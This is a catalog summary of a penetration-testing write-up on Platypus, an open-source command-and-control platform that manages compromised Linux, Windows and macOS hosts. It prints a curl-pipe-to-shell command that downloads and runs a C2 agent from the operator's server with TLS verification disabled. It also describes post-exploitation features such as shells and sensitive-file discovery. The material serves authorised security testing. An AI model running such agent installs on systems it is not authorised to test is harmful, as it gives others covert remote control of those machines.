Skip to content

Back to the catalog

Pentesting: Managing Compromised Machines with Platypus
hackers-arise.comwriteup

Pentesting: Managing Compromised Machines with Platypus

Walkthrough of Platypus, an open-source C2-style host management platform (github.com/WangYihang/Platypus) for pentesters handling large numbers of compromised Linux, Windows and macOS machines from a single web interface. Covers Docker-based server setup, agent generation with enrollment tokens, deploying agents via curl over TLS, and post-exploitation features like interactive shells, file browsing, sensitive-file auditing, and OS-info plugins (firewall rules, cron jobs, network connections).

TL;DR Hands-on guide to deploying and using Platypus, an open-source multi-host C2/management platform for post-exploitation pentesting.
Open original ↗
Document

What it is

Deployment walkthrough for Platypus (github.com/WangYihang/Platypus), covering the setup steps and operational details not already in the catalog summary: Docker deployment configuration, authentication bootstrap, and the agent enrollment mechanism.

How it works

The server runs via docker-compose up -d, but docker-compose.yml must first be edited to replace the default localhost with the Platypus server's actual IP (LAN IP or public IP for a VPS) — otherwise agents on other hosts cannot connect back. First-time web setup requires an admin account, gated by a bootstrap secret file generated at install:

docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
cat bootstrap.secret

Agents are generated per-project through the web UI with a selectable feature set (the article uses the "Full" package for maximum plugin/shell coverage). Each agent install link embeds a single-use enrollment token, so a leaked URL can only enroll one host. Deployment is a one-line curl over TLS, e.g.:

curl -fsSL --tlsv1.2 -k https://192.168.131.7:9443/api/v1/install/dl_7dm5amwjjirrqv35biem.ib3sxs64fug543w32oxe?download_tls=insecure | sh > /dev/null

The agent is not persistent — it's a foreground process, so the article recommends launching it inside tmux so it survives SSH disconnects.

Preconditions / Affected

Target machine must have outbound network reachability to the Platypus server's configured IP/port (default shown: 9443). The curl command as shown uses -k (TLS verification disabled) and download_tls=insecure, so the install transport itself is not certificate-validated in this example.

Caveats

Article frames the audit/security-check features explicitly as convenience helpers, not replacements for a full assessment.

Organisations named here

  • Red Team Operator

Technologies named here

  • Linux
  • Platypus
  • Docker
  • Windows
  • macOS
  • Tmux
  • Kali Linux
  • curl

Techniques named here

  • Post-exploitation host management
  • Credential and sensitive data discovery
  • System reconnaissance via plugins

Related in Offensive Security